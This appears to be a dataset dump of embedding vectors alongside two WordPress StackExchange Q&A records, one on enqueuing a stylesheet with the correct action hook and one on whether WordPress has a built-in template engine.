-0.01471710205078125, -0.019500732421875, 0.021575927734375, 0.062103271484375, 0.003753662109375, 0.04736328125, 0.003391265869140625, -0.0135650634765625, 0.012786865234375, 0.042724609375, -0.006473541259765625, 0.03857421875, -0.05535888671875, 0.038818359375, 0.0012578964233398438, 0.0019664764404296875, -0.021881103515625, -0.0195465087890625, 0.0477294921875, -0.03070068359375, 0.04193115234375, -0.00957489013671875, 0.01910400390625, 0.039581298828125, -0.033233642578125, -0.0054779052734375, -0.0179901123046875, -0.0207366943359375, 0.01336669921875, -0.02069091796875, -0.08709716796875, 0.0243988037109375, 0.058258056640625, 0.001678466796875, -0.0202789306640625, -0.00042510032653808594, -0.0146484375, -0.0023288726806640625, 0.01654052734375, -0.0079498291015625, -0.020751953125, 0.0245361328125, -0.013397216796875, 0.0001062154769897461, -0.0010404586791992188, 0.0228271484375, 0.01200103759765625, 0.02349853515625, 0.0262908935546875, -0.00003629922866821289, 0.0007424354553222656, -0.0009016990661621094, -0.0234832763671875, 0.007320404052734375, -0.0238494873046875, 0.03948974609375, -0.01117706298828125, -0.00514984130859375, -0.009613037109375, 0.050323486328125, 0.00873565673828125, 0.03228759765625, -0.02789306640625, -0.01959228515625, -0.0236053466796875, 0.032440185546875, 0.01026153564453125, 0.032379150390625, -0.03839111328125, -0.0328369140625, -0.06915283203125, -0.006366729736328125, 0.03497314453125, 0.0108642578125, -0.0289459228515625, 0.0242156982421875, -0.001934051513671875, -0.0171966552734375, 0.0269927978515625, -0.0246429443359375, 0.0282440185546875, 0.0172271728515625, -0.020599365234375, 0.0230255126953125, -0.01548004150390625, -0.03900146484375, 0.031982421875, -0.0041656494140625, -0.006439208984375, 0.004421234130859375, 0.0209197998046875, 0.00580596923828125, -0.0024204254150390625, 0.0265045166015625, -0.004459381103515625, 0.01397705078125, 0.0087738037109375, 0.0039520263671875, -0.01557159423828125, 0.0377197265625, -0.00079345703125, -0.02313232421875, -0.00028443336486816406, -0.01306915283203125, 0.00946807861328125, 0.0143280029296875, 0.019134521484375, -0.0249176025390625, 0.0210418701171875, -0.01837158203125, -0.0177764892578125, -0.041839599609375, 0.005458831787109375, 0.0418701171875, -0.030364990234375, 0.051788330078125, -0.0328369140625, -0.017822265625, -0.0340576171875, -0.018157958984375, -0.032623291015625, 0.059326171875, -0.01306915283203125, 0.016082763671875, 0.056365966796875, -0.006870269775390625, -0.0872802734375, 0.022918701171875, -0.004825592041015625, 0.05584716796875, -0.049041748046875, -0.0216522216796875, 0.057098388671875, -0.035247802734375, -0.0305023193359375, -0.08062744140625, 0.0004401206970214844, -0.100341796875, 0.020355224609375, -0.024810791015625, -0.0023403167724609375, 0.0239105224609375, -0.029693603515625, -0.052581787109375, 0.032928466796875, 0.002140045166015625, -0.0285797119140625, -0.037017822265625, 0.004146575927734375, -0.0013475418090820312, 0.060333251953125, -0.003986358642578125, -0.0261077880859375, -0.0487060546875, -0.0107421875, 0.0093231201171875, 0.06365966796875, -0.007259368896484375, 0.0233917236328125, -0.01087188720703125, -0.002452850341796875, -0.0447998046875, 0.002536773681640625, 0.0017080307006835938, 0.001678466796875, 0.01220703125, 0.004978179931640625, -0.0204620361328125, -0.03778076171875, -0.0025157928466796875, -0.0386962890625, 0.0258331298828125, -0.08056640625, -0.0297393798828125, -0.043701171875, 0.045654296875, -0.01033782958984375, 0.0093841552734375, 0.007965087890625, -0.045745849609375, -0.0166473388671875, -0.01050567626953125, -0.0474853515625, 0.0249176025390625, -0.0950927734375, -0.021575927734375, -0.0198211669921875, -0.01824951171875, -0.007778167724609375, -0.0022678375244140625, -0.0262603759765625, 0.0167388916015625, 0.0191192626953125, -0.0007867813110351562, -0.01094818115234375, 0.03692626953125, 0.07574462890625, -0.0491943359375, -0.005245208740234375, 0.0072784423828125, 0.00514984130859375, 0.034027099609375, -0.048583984375, -0.0065460205078125, 0.005107879638671875, 0.01010894775390625, 0.004421234130859375, 0.03607177734375, 0.006526947021484375, 0.0165252685546875, -0.00881195068359375, -0.0268707275390625, 0.001399993896484375, -0.000518798828125, 0.006984710693359375, 0.0189056396484375, -0.021026611328125, 0.0211639404296875, -0.01374053955078125, -0.034515380859375, 0.061279296875, 0.0143585205078125, 0.0035228729248046875, -0.03619384765625, 0.036590576171875, 0.0279388427734375, -0.042755126953125, -0.0017833709716796875, 0.037353515625, 0.0244903564453125, -0.0217742919921875, 0.0088348388671875, -0.0653076171875, 0.043701171875, -0.00487518310546875 ]
91c93fb8186d4b482f1c43d287c929ee08075f55
Wordpress Stackexchange Q: Why my CSS file is not being registered in functions.php? I want to enqueue the stylesheet in functions.php, but it's not loading. What can be problem in my code? function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri().'/assets/css/bootstrap.css'); } add_action( 'admin_enqueue_s', 'my_theme_sty' ); A: There are two useful action hooks for registering / enqueuing external scripts & styles in WordPress: 1. wp_enqueue_scripts: wp_enqueue_scripts is the proper action hook to use when enqueuing scripts & styles for the front end. So if you want to add the CSS file on the frontend of the site, then your CODE will be like: function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css' ); } add_action( 'wp_enqueue_scripts', 'my_theme_sty' ); 2. admin_enqueue_scripts: On the other hand, admin_enqueue_scripts is the proper action hook to use when enqueuing scripts & styles for the admin panel. So if you want to add the CSS file on the admin panel of the site, then your CODE will be like: function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css' ); } add_action( 'admin_enqueue_scripts', 'my_theme_sty' );
Q: Why my CSS file is not being registered in functions.php? I want to enqueue the stylesheet in functions.php, but it's not loading. What can be problem in my code? function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri().'/assets/css/bootstrap.css'); } add_action( 'admin_enqueue_s', 'my_theme_sty' ); A: There are two useful action hooks for registering / enqueuing external scripts & styles in WordPress: 1. wp_enqueue_scripts: wp_enqueue_scripts is the proper action hook to use when enqueuing scripts & styles for the front end. So if you want to add the CSS file on the frontend of the site, then your CODE will be like: function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css' ); } add_action( 'wp_enqueue_scripts', 'my_theme_sty' ); 2. admin_enqueue_scripts: On the other hand, admin_enqueue_scripts is the proper action hook to use when enqueuing scripts & styles for the admin panel. So if you want to add the CSS file on the admin panel of the site, then your CODE will be like: function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css' ); } add_action( 'admin_enqueue_scripts', 'my_theme_sty' ); A: Your function should be: function my_theme_sty() { wp_enqueue_style( 'bootstrap', get_template_directory_uri().'/assets/css/bootstrap.css'); } add_action( 'wp_enqueue_scripts', 'my_theme_sty' );
wordpress
{ "language": "en", "length": 187, "provenance": "stackexchange_00019.jsonl.gz:488691", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/311840" }
[ 0.0103302001953125, 0.0123291015625, -0.037628173828125, -0.03912353515625, 0.02044677734375, -0.034698486328125, -0.0029449462890625, 0.0007171630859375, -0.023681640625, 0.00821685791015625, -0.0426025390625, 0.0240325927734375, -0.03448486328125, -0.007228851318359375, 0.0126800537109375, -0.03936767578125, 0.03118896484375, -0.0235443115234375, 0.0009984970092773438, 0.0014066696166992188, 0.0111236572265625, 0.0283355712890625, 0.0026493072509765625, 0.042694091796875, 0.01568603515625, -0.06195068359375, 0.08062744140625, 0.0170745849609375, 0.00804901123046875, 0.0011310577392578125, 0.0273284912109375, -0.030914306640625, 0.0198516845703125, 0.01462554931640625, -0.007843017578125, -0.0203094482421875, 0.0128326416015625, 0.00461578369140625, 0.007328033447265625, 0.023773193359375, 0.0202484130859375, 0.00547027587890625, 0.0182647705078125, 0.07208251953125, -0.004673004150390625, -0.0947265625, 0.03369140625, -0.048492431640625, -0.016815185546875, 0.0262298583984375, 0.0286865234375, -0.026275634765625, 0.0244598388671875, -0.0261993408203125, 0.01201629638671875, 0.0068206787109375, -0.032501220703125, 0.003612518310546875, 0.005908966064453125, 0.04052734375, 0.004791259765625, 0.015106201171875, -0.0027446746826171875, -0.034271240234375, -0.01195526123046875, 0.003482818603515625, 0.03076171875, 0.0255279541015625, -0.05682373046875, -0.033111572265625, 0.0180816650390625, -0.0213775634765625, -0.003513336181640625, -0.037261962890625, -0.0260162353515625, 0.033416748046875, -0.007457733154296875, 0.0050506591796875, 0.01366424560546875, -0.009307861328125, 0.00440216064453125, -0.015838623046875, -0.047210693359375, -0.022125244140625, 0.0182952880859375, 0.0074005126953125, -0.012725830078125, -0.009735107421875, -0.0139617919921875, -0.01226806640625, -0.02252197265625, -0.01050567626953125, 0.0029430389404296875, -0.0156402587890625, -0.00626373291015625, -0.034332275390625, 0.047760009765625, 0.06207275390625, 0.036590576171875, 0.041961669921875, -0.00409698486328125, -0.0477294921875, 0.04986572265625, -0.04718017578125, 0.001583099365234375, 0.08428955078125, -0.007144927978515625, -0.0182647705078125, -0.0037384033203125, -0.0022525787353515625, 0.027069091796875, -0.04522705078125, 0.028350830078125, -0.0211181640625, -0.0062408447265625, -0.01406097412109375, -0.0002493858337402344, 0.01413726806640625, 0.01158905029296875, -0.01207733154296875, 0.00557708740234375, 0.03338623046875, -0.0016393661499023438, -0.037841796875, -0.0253753662109375, -0.0335693359375, -0.01444244384765625, -0.0289764404296875, 0.052978515625, 0.04400634765625, -0.0065155029296875, -0.01421356201171875, 0.021575927734375, -0.003940582275390625, -0.0115814208984375, -0.0230865478515625, 0.042816162109375, -0.0223846435546875, -0.0162506103515625, -0.006805419921875, 0.0215301513671875, -0.0306854248046875, -0.027801513671875, -0.00266265869140625, -0.03265380859375, 0.0193634033203125, 0.0011758804321289062, -0.01070404052734375, 0.00652313232421875, -0.0325927734375, 0.00551605224609375, -0.08966064453125, 0.0455322265625, 0.036346435546875, -0.0247039794921875, 0.032989501953125, 0.046234130859375, -0.005123138427734375, -0.04937744140625, -0.021240234375, -0.042205810546875, 0.01522064208984375, 0.03350830078125, -0.031402587890625, 0.008331298828125, -0.046966552734375, 0.00957489013671875, 0.0093231201171875, 0.0328369140625, 0.003551483154296875, 0.01087188720703125, -0.029144287109375, 0.04205322265625, 0.0122833251953125, -0.01065826416015625, 0.0260467529296875, 0.0179290771484375, 0.0160980224609375, 0.036285400390625, 0.005767822265625, -0.03070068359375, -0.032318115234375, 0.0706787109375, -0.04669189453125, -0.03167724609375, -0.005870819091796875, 0.01462554931640625, 0.0183868408203125, 0.0168609619140625, 0.0131988525390625, 0.0302734375, 0.01276397705078125, 0.004058837890625, -0.050994873046875, -0.000453948974609375, 0.0066375732421875, 0.0261688232421875, 0.03106689453125, -0.001644134521484375, 0.0005121231079101562, 0.00951385498046875, -0.01812744140625, 0.059814453125, -0.02178955078125, -0.0116729736328125, 0.0196075439453125, -0.021148681640625, 0.031707763671875, -0.0087432861328125, 0.0203399658203125, -0.005886077880859375, 0.0079193115234375, 0.00005131959915161133, -0.046234130859375, -0.027435302734375, 0.005680084228515625, -0.029571533203125, 0.06317138671875, 0.0022945404052734375, 0.051666259765625, 0.0157928466796875, -0.053741455078125, 0.025177001953125, -0.0197296142578125, -0.0199127197265625, 0.01534271240234375, -0.031707763671875, -0.00040721893310546875, -0.025665283203125, -0.0001455545425415039, 0.03057861328125, 0.04693603515625, 0.0419921875, 0.0657958984375, -0.016998291015625, -0.0177459716796875, -0.01258087158203125, -0.04132080078125, 0.0161285400390625, 0.0294647216796875, 0.041656494140625, 0.043670654296875, 0.0027637481689453125, -0.006866455078125, 0.05712890625, -0.01335906982421875, 0.0224609375, -0.019927978515625, -0.0138702392578125, -0.00986480712890625, 0.017547607421875, 0.005176544189453125, 0.043670654296875, -0.048370361328125, -0.003734588623046875, 0.044342041015625, -0.01125335693359375, -0.0023288726806640625, -0.0296478271484375, 0.0064239501953125, 0.032257080078125, -0.029266357421875, -0.056182861328125, -0.00492095947265625, 0.0018758773803710938, 0.013763427734375, 0.002628326416015625, -0.02508544921875, -0.0467529296875, 0.01139068603515625, 0.040283203125, -0.01091766357421875, -0.00852203369140625, 0.04296875, 0.0297393798828125, -0.059478759765625, -0.033111572265625, -0.0139312744140625, 0.0171661376953125, 0.01226043701171875, -0.00269317626953125, 0.0380859375, -0.02459716796875, -0.016204833984375, -0.005428314208984375, -0.0723876953125, -0.01337432861328125, 0.00762176513671875, 0.032989501953125, 0.01207733154296875, 0.035736083984375, 0.032806396484375, 0.004791259765625, 0.0272064208984375, 0.002777099609375, -0.021453857421875, 0.0450439453125, 0.0035953521728515625, 0.0289459228515625, -0.008087158203125, 0.01081085205078125, 0.036041259765625, -0.00482177734375, -0.0035762786865234375, 0.024444580078125, -0.006572723388671875, 0.02813720703125, 0.00888824462890625, 0.018768310546875, -0.0035495758056640625, -0.029266357421875, 0.03460693359375, 0.044647216796875, 0.02520751953125, 0.025909423828125, -0.0292510986328125, -0.01611328125, 0.031707763671875, -0.08612060546875, -0.1112060546875, -0.05950927734375, -0.07220458984375, 0.031768798828125, -0.02880859375, -0.021026611328125, 0.01450347900390625, -0.01087188720703125, 0.026641845703125, -0.02838134765625, -0.0257110595703125, 0.0012569427490234375, -0.0499267578125, -0.052337646484375, -0.0009369850158691406, 0.0272064208984375, 0.01520538330078125, 0.017547607421875, 0.046356201171875, 0.020233154296875, -0.0494384765625, 0.05413818359375, -0.025115966796875, -0.0118255615234375, 0.053070068359375, 0.0357666015625, -0.08245849609375, -0.006404876708984375, -0.00383758544921875, 0.022552490234375, 0.01238250732421875, -0.0029811859130859375, 0.013336181640625, -0.037567138671875, -0.044189453125, -0.016571044921875, 0.047821044921875, 0.03472900390625, -0.0435791015625, 0.025604248046875, -0.06353759765625, -0.0556640625, 0.0244140625, -0.042755126953125, 0.046295166015625, 0.02801513671875, -0.03857421875, 0.0289306640625, 0.01374053955078125, 0.034332275390625, -0.009613037109375, -0.006011962890625, -0.0009889602661132812, 0.03924560546875, 0.006153106689453125, 0.021209716796875, -0.0283203125, 0.0289154052734375, -0.01302337646484375, 0.0301361083984375, 0.0267486572265625, 0.0032672882080078125, -0.0051727294921875, 0.004581451416015625, -0.018707275390625, -0.03594970703125, 0.024383544921875, -0.02679443359375, 0.043731689453125, -0.050018310546875, -0.0200653076171875, -0.01543426513671875, 0.092529296875, -0.0333251953125, -0.022430419921875, 0.046661376953125, 0.038421630859375, -0.0606689453125, -0.05767822265625, -0.042755126953125, -0.006069183349609375, -0.0965576171875, -0.004058837890625, -0.0264129638671875, -0.0467529296875, 0.013458251953125, -0.037811279296875, -0.056976318359375, -0.050262451171875, 0.03729248046875, -0.01042938232421875, 0.0003077983856201172, 0.030975341796875, -0.02227783203125, -0.0005645751953125, -0.0097198486328125, -0.010009765625, -0.11700439453125, -0.0168304443359375, -0.046844482421875, 0.09173583984375, 0.0261383056640625, 0.011322021484375, -0.008087158203125, 0.061004638671875, 0.0254669189453125, 0.002079010009765625, 0.036956787109375, 0.005054473876953125, 0.0164947509765625, -0.03179931640625, 0.016204833984375, -0.047149658203125, -0.001110076904296875, 0.017364501953125, -0.0548095703125, 0.00402069091796875, -0.0110321044921875, -0.01107025146484375, 0.060333251953125, -0.04681396484375, -0.03387451171875, 0.0209503173828125, 0.0106353759765625, -0.0228271484375, 0.0172576904296875, -0.045989990234375, 0.022613525390625, -0.00897979736328125, 0.0241851806640625, -0.025421142578125, 0.01056671142578125, 0.00215911865234375, 0.048583984375, 0.03485107421875, -0.01474761962890625, -0.004489898681640625, 0.0232086181640625, 0.03448486328125, 0.02130126953125, 0.0172119140625, -0.0008835792541503906, -0.02935791015625, 0.03143310546875, 0.0265960693359375, -0.00154876708984375, 0.01507568359375, 0.0374755859375, 0.0229339599609375, -0.00762939453125, -0.00545501708984375, 0.0031871795654296875, -0.011962890625, -0.0007157325744628906, 0.0031890869140625, -0.00879669189453125, 0.01091766357421875, 0.01554107666015625, 0.01107025146484375, -0.004535675048828125, -0.0289154052734375, -0.0273590087890625, -0.0093536376953125, -0.0384521484375, 0.076171875, 0.035247802734375, -0.01448822021484375, 0.0472412109375, 0.064453125, -0.006175994873046875, 0.026947021484375, 0.0185699462890625, 0.0120849609375, 0.0222930908203125, 0.02630615234375, 0.005619049072265625, 0.0026607513427734375, -0.002727508544921875, 0.03143310546875, 0.01214599609375, -0.0294647216796875, -0.04327392578125, 0.01337432861328125, 0.0572509765625, 0.01480865478515625, -0.003376007080078125, 0.044952392578125, 0.03668212890625, -0.04052734375, -0.038299560546875, 0.01218414306640625, -0.0190887451171875, -0.06146240234375, 0.034423828125, -0.0024623870849609375, -0.01141357421875, -0.00536346435546875, 0.0274658203125, 0.0287933349609375, -0.01267242431640625, -0.007343292236328125, -0.0021572113037109375, -0.0259552001953125, 0.05499267578125, 0.01137542724609375, -0.045654296875, 0.03497314453125, 0.0123138427734375, 0.04583740234375, -0.0285491943359375, 0.0201568603515625, -0.0005764961242675781, 0.036651611328125, 0.0000845193862915039, -0.023345947265625, 0.028076171875, -0.01593017578125, -0.036285400390625, 0.059326171875, 0.0001285076141357422, -0.054107666015625, -0.053070068359375, -0.029693603515625, 0.04498291015625, 0.00122833251953125, 0.005352020263671875, 0.037445068359375, 0.0151214599609375, 0.04254150390625, 0.0170745849609375, 0.017791748046875, -0.0111083984375, -0.033843994140625, 0.020538330078125, 0.01467132568359375, -0.018310546875, -0.04290771484375, -0.04693603515625, -0.00881195068359375, -0.004085540771484375, 0.03057861328125, -0.03240966796875, 0.01422882080078125, -0.02618408203125, 0.0122833251953125, -0.01491546630859375, 0.01119232177734375, 0.047119140625, 0.020965576171875, -0.00966644287109375, -0.014923095703125, -0.0199737548828125, -0.0105133056640625, -0.0245513916015625, -0.034271240234375, 0.017578125, -0.00389862060546875, -0.0012292861938476562, 0.005367279052734375, -0.0107269287109375, -0.0260772705078125, -0.0404052734375, 0.0289154052734375, 0.0458984375, 0.042938232421875, -0.0360107421875, 0.0819091796875, 0.0110931396484375, 0.0130767822265625, 0.005809783935546875, 0.02947998046875, -0.0097503662109375, 0.0135040283203125, -0.026031494140625, -0.060882568359375, 0.035980224609375, -0.00635528564453125, 0.0020847320556640625, 0.039276123046875, 0.06939697265625, 0.02203369140625, 0.0259246826171875, 0.036773681640625, 0.0061187744140625, -0.008941650390625, -0.0159454345703125, 0.057464599609375, 0.03076171875, 0.043548583984375, 0.005252838134765625, 0.051971435546875, -0.01580810546875, -0.02105712890625, 0.0273590087890625, -0.0187530517578125, 0.044677734375, -0.0039520263671875, -0.072021484375, 0.0621337890625, 0.040802001953125, 0.03863525390625, 0.0273590087890625, -0.033843994140625, 0.017547607421875, -0.007144927978515625, 0.03314208984375, -0.00875091552734375, -0.0098724365234375, 0.0299224853515625, -0.0171661376953125, 0.004604339599609375, -0.0021381378173828125, -0.006519317626953125, -0.023773193359375, 0.072998046875, 0.0228424072265625, -0.08978271484375, -0.0082550048828125, -0.03399658203125, -0.0027866363525390625, 0.0032138824462890625, -0.007335662841796875, 0.00904083251953125, -0.0018739700317382812, 0.0467529296875, 0.043212890625, 0.0036792755126953125, 0.0406494140625, 0.0097808837890625, -0.003498077392578125, -0.01788330078125, -0.00203704833984375, -0.002994537353515625, -0.04046630859375, -0.006847381591796875, 0.0227508544921875, -0.0182037353515625, -0.0019474029541015625, 0.01061248779296875, -0.01873779296875, -0.02130126953125, -0.0108642578125, -0.0015687942504882812, -0.02471923828125, -0.021392822265625, 0.0164794921875, 0.009307861328125, 0.0288238525390625, 0.023101806640625, -0.0009098052978515625, -0.00844573974609375, -0.018524169921875, 0.028961181640625, 0.0175018310546875, -0.0294189453125, 0.028411865234375, 0.0012521743774414062, -0.036224365234375, 0.01454925537109375, 0.00991058349609375, -0.049468994140625, -0.009674072265625, -0.0184783935546875, 0.05072021484375, -0.032257080078125, -0.0159149169921875, 0.00038242340087890625, -0.017791748046875, 0.017822265625, 0.0014467239379882812, 0.051239013671875, -0.0758056640625, -0.0655517578125, 0.038116455078125, -0.0650634765625, -0.04742431640625, -0.0230255126953125, -0.01270294189453125, 0.07415771484375, -0.027587890625, -0.0276336669921875, 0.0212249755859375, 0.044219970703125, -0.0151214599609375, 0.017242431640625, -0.0051116943359375, 0.00502777099609375, 0.00954437255859375, -0.01021575927734375, -0.00861358642578125, -0.0009007453918457031, -0.0038356781005859375, 0.020538330078125, 0.043914794921875, 0.0042724609375, -0.024932861328125, -0.0030040740966796875, 0.06640625, 0.051849365234375, 0.016326904296875, 0.0088043212890625, -0.006633758544921875, -0.02490234375, -0.0099029541015625, 0.0023860931396484375, 0.0283966064453125, -0.053131103515625, -0.04217529296875, 0.01363372802734375, -0.00951385498046875, -0.003997802734375, -0.00951385498046875, -0.02349853515625, -0.045654296875, 0.01445770263671875, 0.0214691162109375, 0.0052032470703125, -0.053955078125, 0.055572509765625, -0.0130615234375, 0.020050048828125, -0.046539306640625, -0.0214080810546875, 0.0152435302734375, 0.00333404541015625, -0.00550079345703125, -0.028961181640625, 0.0014257431030273438, 0.012451171875, -0.017852783203125, -0.0205841064453125, 0.036041259765625, -0.01947021484375, 0.0171966552734375, 0.030975341796875, 0.04425048828125, 0.01459503173828125, 0.007213592529296875, -0.028900146484375, 0.01055908203125, -0.01480865478515625, 0.02313232421875, 0.017547607421875, 0.034393310546875, -0.0173187255859375, -0.017578125, 0.00719451904296875, -0.00811767578125, 0.0093994140625, 0.0092620849609375, -0.01058197021484375, 0.01016998291015625, 0.0034885406494140625, -0.006946563720703125, 0.001331329345703125, 0.0099334716796875, 0.026092529296875, -0.050445556640625, 0.034027099609375, 0.01371002197265625, 0.053558349609375, -0.0007729530334472656, 0.038665771484375, -0.0252838134765625, -0.0235137939453125, -0.03375244140625, 0.01543426513671875, -0.005931854248046875, 0.03167724609375, -0.0416259765625, 0.00725555419921875, 0.005767822265625, 0.046844482421875, 0.00540924072265625, -0.0036983489990234375, 0.0238494873046875, 0.006092071533203125, -0.02581787109375, 0.0033702850341796875, 0.0440673828125, -0.0090484619140625, 0.037994384765625, -0.00782012939453125, 0.00946807861328125, -0.00550079345703125, -0.006649017333984375, -0.0195465087890625, 0.020477294921875, 0.04345703125, -0.0479736328125, -0.0107269287109375, -0.0057525634765625, -0.01971435546875, 0.0179443359375, -0.01561737060546875, -0.0014142990112304688, -0.02935791015625, -0.019683837890625, -0.0220947265625, 0.0235748291015625, 0.00826263427734375, -0.0011005401611328125, 0.0292816162109375, -0.01154327392578125, 0.037353515625, 0.031494140625, -0.0268402099609375, -0.006378173828125, 0.0279083251953125, 0.00897216796875, -0.00835418701171875, 0.021148681640625, 0.01346588134765625, -0.023681640625, -0.028472900390625, -0.027557373046875, 0.08514404296875, 0.0031566619873046875, 0.0784912109375, -0.06732177734375, 0.038787841796875, 0.05072021484375, -0.00926971435546875, 0.01806640625, 0.0219268798828125, -0.00742340087890625, -0.0421142578125, 0.0017948150634765625, 0.0030689239501953125, -0.0523681640625, 0.005008697509765625, 0.023223876953125, -0.0191192626953125, -0.0176849365234375, 0.01052093505859375, 0.021240234375, -0.003276824951171875, 0.0240478515625, -0.03387451171875, -0.049713134765625, -0.03192138671875, 0.0228729248046875, -0.016937255859375, -0.012237548828125, -0.0159759521484375, -0.001613616943359375, 0.00960540771484375, -0.048492431640625, 0.0224609375, -0.0193939208984375, 0.05889892578125, 0.0472412109375, -0.027984619140625, -0.0256805419921875, 0.0007982254028320312, -0.0175018310546875, 0.01015472412109375, 0.004383087158203125, 0.03692626953125, -0.0094451904296875, -0.055572509765625, 0.056732177734375, 0.05780029296875, 0.06024169921875, 0.0008044242858886719, 0.019683837890625, 0.06329345703125, -0.039703369140625, -0.0099639892578125, -0.0285797119140625, -0.037933349609375, -0.043975830078125, 0.01031494140625, 0.0236053466796875, -0.00494384765625, -0.027069091796875, -0.053924560546875, 0.0611572265625, 0.032501220703125, -0.007686614990234375, -0.067626953125, 0.043609619140625, -0.05950927734375, 0.08843994140625, -0.0101165771484375, 0.0299530029296875, 0.01076507568359375, 0.0270538330078125, -0.06915283203125, -0.0100860595703125, -0.01264190673828125, 0.01039886474609375, -0.03863525390625, 0.0012607574462890625, 0.0251617431640625, 0.004665374755859375, 0.03521728515625, 0.014923095703125, -0.005672454833984375, 0.06768798828125, -0.07489013671875, -0.0034847259521484375, 0.01436614990234375, 0.0423583984375, -0.034759521484375, -0.09246826171875, -0.0179901123046875, -0.02197265625, 0.044464111328125, -0.00806427001953125, 0.014984130859375, 0.042236328125, -0.0262451171875, -0.10284423828125, 0.031097412109375, -0.0236053466796875, -0.045013427734375, -0.06103515625, 0.009063720703125, 0.0002180337905883789, -0.0184783935546875, -0.03192138671875, -0.0305023193359375, -0.0202484130859375, 0.03973388671875, 0.01025390625, 0.027435302734375, 0.042510986328125, -0.006305694580078125, -0.032745361328125, 0.009185791015625, 0.007083892822265625, 0.00970458984375, -0.01067352294921875, -0.0034809112548828125, 0.021240234375, 0.046600341796875, 0.0160675048828125, -0.01337432861328125, 0.0294342041015625, -0.055694580078125, -0.00919342041015625, -0.038299560546875, 0.0023956298828125, -0.0163421630859375, 0.06451416015625, -0.01557159423828125, 0.00624847412109375, -0.00862884521484375, -0.03729248046875, -0.03216552734375, -0.0082550048828125, -0.011505126953125, 0.0172576904296875, -0.0716552734375, 0.0028667449951171875, 0.005512237548828125, -0.00557708740234375, -0.0355224609375, -0.0230865478515625, -0.03167724609375, -0.01036834716796875, -0.006732940673828125, 0.0006089210510253906, -0.000013828277587890625, -0.0308837890625, 0.0888671875, -0.031646728515625, 0.033935546875, 0.0196685791015625, 0.030914306640625, 0.0634765625, 0.042724609375, -0.0275726318359375, 0.01690673828125, -0.033966064453125, 0.003078460693359375, -0.0144195556640625, 0.006809234619140625, -0.019744873046875, 0.0193939208984375, 0.0139312744140625, 0.0081787109375, -0.0260467529296875, -0.0019588470458984375, 0.022247314453125, 0.018035888671875, -0.0296478271484375, 0.072509765625, -0.0255126953125, 0.0399169921875, -0.0012989044189453125, 0.013763427734375, 0.0122222900390625, 0.003726959228515625, 0.044342041015625, -0.00836181640625, -0.0028533935546875, -0.0032672882080078125, -0.0206298828125, -0.046661376953125, 0.0288543701171875, -0.029388427734375, -0.00827789306640625, 0.024444580078125 ]
7de505091326b731ce34fde044ea2def827f30bb
Wordpress Stackexchange Q: Wordpress Template Engine? I'm in a need to convert an existent design into wordpress and before starting I was curious to know: Is it correct to use pure "naked" PHP when adding logic to templates in wordpress? Wordpress uses no template engine like Twig or Blade by default? I'm pretty suprised, so before starting to work on that project and doing everything in pure PHP (with the opening <?php and closing hassle ?>) I wanted to ask here. This way of doing things seems very outdated to me. A: Correct, there is no PHP templating engine built into WordPress. This does however give you the flexibility to use a templating engine such as Twig or Blade (and I have worked on sites using each of those), or even completely headless using the REST API.
Q: Wordpress Template Engine? I'm in a need to convert an existent design into wordpress and before starting I was curious to know: Is it correct to use pure "naked" PHP when adding logic to templates in wordpress? Wordpress uses no template engine like Twig or Blade by default? I'm pretty suprised, so before starting to work on that project and doing everything in pure PHP (with the opening <?php and closing hassle ?>) I wanted to ask here. This way of doing things seems very outdated to me. A: Correct, there is no PHP templating engine built into WordPress. This does however give you the flexibility to use a templating engine such as Twig or Blade (and I have worked on sites using each of those), or even completely headless using the REST API. A: As many will point out - PHP itself could be considered a "template language" - and from a performance point of view, the less additional layers of abstraction you add - the quicker and more performant the site will probably load. That said - frameworks are popular for a reason - and that is generally to do with simplification and standardization - so, I offer the suggestion of a WordPress Template Engine called Willow - which might be of interest to you. As a logic-less TE, is has the added benefit of forcing a clean separation of concerns and keeping conditional checks out of the templates - for some people this is not important or seen as a hinderance, but once you adjust to working this way it feels much cleaner. * *Disclaimer - we wrote this software and use it on our projects. A: Yes. I agree, WordPress PHP is rather outdated at times. As Invariant Change says, page builders offer a great solution. Divi is amazing. If you want something a little trimmed back, there is also the Genesis Framework. However, because this is so trimmed back, you end up adding lots of plugins to get it to do what you want it to do, which then means lots of maintenance, debugging and slower site with all the server calls, which is why Divi is so good. It's all contained in a fast streamlined self-contained package that is designed from the top up to work in unison, rather like Apple products. Genesis is best suited to theme developers who intend to resell their themes in markets such as Envato.
wordpress
{ "language": "en", "length": 407, "provenance": "stackexchange_00019.jsonl.gz:488693", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/311851" }
[ -0.0124053955078125, -0.00617218017578125, -0.047637939453125, -0.0243377685546875, 0.007137298583984375, -0.02642822265625, 0.0171966552734375, 0.0037174224853515625, -0.018341064453125, 0.046478271484375, 0.02093505859375, -0.01788330078125, 0.021270751953125, -0.0347900390625, 0.01522064208984375, 0.002841949462890625, 0.0240325927734375, -0.013916015625, 0.024261474609375, -0.01593017578125, 0.005130767822265625, -0.0081787109375, 0.050537109375, 0.021728515625, 0.034393310546875, -0.04779052734375, 0.05804443359375, -0.01971435546875, 0.0256805419921875, -0.00359344482421875, 0.0240936279296875, -0.01186370849609375, 0.0355224609375, 0.040496826171875, -0.08428955078125, -0.0124053955078125, -0.031402587890625, 0.0223846435546875, -0.010711669921875, -0.0008115768432617188, -0.0056304931640625, 0.01517486572265625, 0.0236358642578125, -0.03985595703125, -0.004573822021484375, -0.00835418701171875, -0.01505279541015625, -0.042938232421875, -0.00817108154296875, -0.0157012939453125, 0.0126800537109375, 0.015777587890625, 0.03173828125, 0.027099609375, -0.004650115966796875, 0.0197601318359375, 0.01299285888671875, -0.055755615234375, 0.031097412109375, -0.01486968994140625, -0.0143585205078125, -0.03814697265625, 0.040313720703125, -0.0048828125, -0.01277923583984375, -0.0045166015625, -0.03228759765625, 0.03656005859375, 0.013214111328125, -0.042816162109375, -0.0266571044921875, 0.01482391357421875, -0.0105133056640625, -0.0457763671875, 